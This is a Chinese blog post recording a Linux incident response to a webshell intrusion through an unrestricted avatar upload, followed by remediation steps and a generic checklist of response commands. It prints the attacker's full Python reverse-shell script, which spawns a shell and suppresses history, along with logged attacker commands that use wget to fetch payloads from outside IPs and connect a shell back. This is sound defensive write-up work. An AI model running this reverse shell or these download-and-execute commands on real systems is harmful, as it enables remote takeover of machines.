【应急案例】Linux应急记录

0x01 背景


本周是在目前公司的最后一周,周五就离职了,在这里待了2年半时间,说短也不短,职业生涯可能也没多少个2年半。出门和同事去撸串的路上收到的告警,急忙赶回来处理,很简单的一次应急,没什么技术含量,因为时间点特殊才想着记录一下,毕竟是最后一次应急响应。

0x02 排查过程


看到告警信息,发现Java进程执行了Wget操作,下载了一个Python文件,访问Python文件,内容如下:

# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
print 'python reverse connector'
print 'usage: %s <ip_addr> <port>' % name
def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()
if __name__ == '__main__':
main()

反弹脚本,确认机器被黑了。
先看下反弹进程:

admin 19363 0.0 0.0 154784 5260 ? S 19:12 0:00 python /tmp/1.py 103.224.248.18 1555

干掉,然后netstat确认下没有对外发起的ESTABLISHED连接。然后看下攻击者执行了什么命令
其中一条机器执行的命令

cat /var/log/audit/audit.log | grep EXECVE | egrep -o "a0=.*" | sed "s/a[0-9]=//g" | sed "s/\"//g" | uniq
whoami
ls -al
ping -c 3 www.baidu.com
bash -i > (bash反弹这个攻击者肯定是没有URL编码&导致没有执行成功)
/bin/bash -i >
wget http://162.247.97.195/223.txt -O 123.jsp
ls -al

另一台执行的命令

cat /var/log/audit/audit.log | grep EXECVE | egrep -o "a0=.*" | sed "s/a[0-9]=//g" | sed "s/\"//g" | uniq
ls -al
wget 43.229.213.219/backs/back.py
ls -al
wget
wget http://43.229.213.219/backs/back.py
pwd
wget http://43.229.213.219/backs/back.py
ls -al
ls -al /root
id
ls -al /tmp
wget http://43.229.213.219/backs/back.py -O /tmp/1.py
ls -al /tmp/1.py
ls -al /var/tmp
ls -al /tmp
python /tmp/1.py 103.224.248.18 1555
pwd
ps -aux
last
ping -c 4 192.168.192.75
ping -c 4 192.168.190.249

对照着Auditd Log

type=EXECVE msg=audit(1532430757.519:892862): argc=3 a0="ls" a1="-al" a2="/tmp"

其中一条日志的时间点是2018/7/24 19:12:37
去搜索Nginx Accesslog

cat /tmp/1 | grep '19:12:37'
66.42.53.201 - - [24/Jul/2018:19:12:37 +0800] "GET /upload/avatar/35364_big.jsp?pwd=023&i=ls%20-al%20/tmp HTTP/1.1" 200 241 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0" "-"

这里发现了多个攻击者的IP,包括:

66.42.53.201
27.102.112.62
149.28.148.146
...

Webshell文件为35364_big.jsp,很简单的一个cmd马
然后看到访问目录在/upload/avatar/下也能猜测到,开发没有限制头像处上传文件扩展名白名单导致的。

0x03 处理措施


1)删除Webshell和反弹Python脚本
2)检查两台机器还有没有对外的ESTABLISHED的连接,可能机器仍然被控制
3)让运维修改nginx限制upload目录下的jsp和jspx文件访问
4)让开发修改头像上传处添加服务端扩展名白名单限制,并检查其他上传文件的地方。

Linux应急响应通常是指在Linux系统遭受安全威胁或攻击后的快速处理过程,涉及一系列的检测、分析和修复措施。以下是一些在Linux应急响应中可能会用到的命令和步骤: 1. 初步信息收集:首先要确认系统的时间和日期是否准确,以及是否有人未经授权访问系统。 ```bash date last w ``` 2. 检查当前系统进程:查看当前运行的进程,以识别是否有可疑的进程或服务。 ```bash ps aux ``` 3. 查找和分析系统日志:系统日志可能会包含攻击的痕迹或异常行为。 ```bash cat /var/log/syslog cat /var/log/auth.log grep "Failed password" /var/log/auth.log ``` 4. 检查网络连接:查看当前的网络连接状态,尤其是对可疑的远程连接进行分析。 ```bash netstat -tuln lsof -i ``` 5. 检查文件系统异常:查看文件的修改时间、权限等,寻找异常变动。 ```bash find / -type f -ctime -10 stat /etc/passwd ``` 6. 检查开放端口:识别系统上开放的端口,特别是那些不应该开放的端口。 ```bash netstat -tulnp ``` 7. 使用安全工具:可以利用一些现成的安全工具进行系统扫描和分析。 ```bash nmap clamav ``` 8. 备份重要数据:在进行任何可能影响系统状态的操作前,备份重要数据是至关重要的。 ```bash dd if=/dev/sda of=/path/to/backup.img ``` 9. 隔离和修复:一旦发现可疑的文件或进程,立即隔离,并根据情况进行修复或删除。 10. 系统更新和打补丁:确保系统和软件都更新到最新版本,避免已知的漏洞被利用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值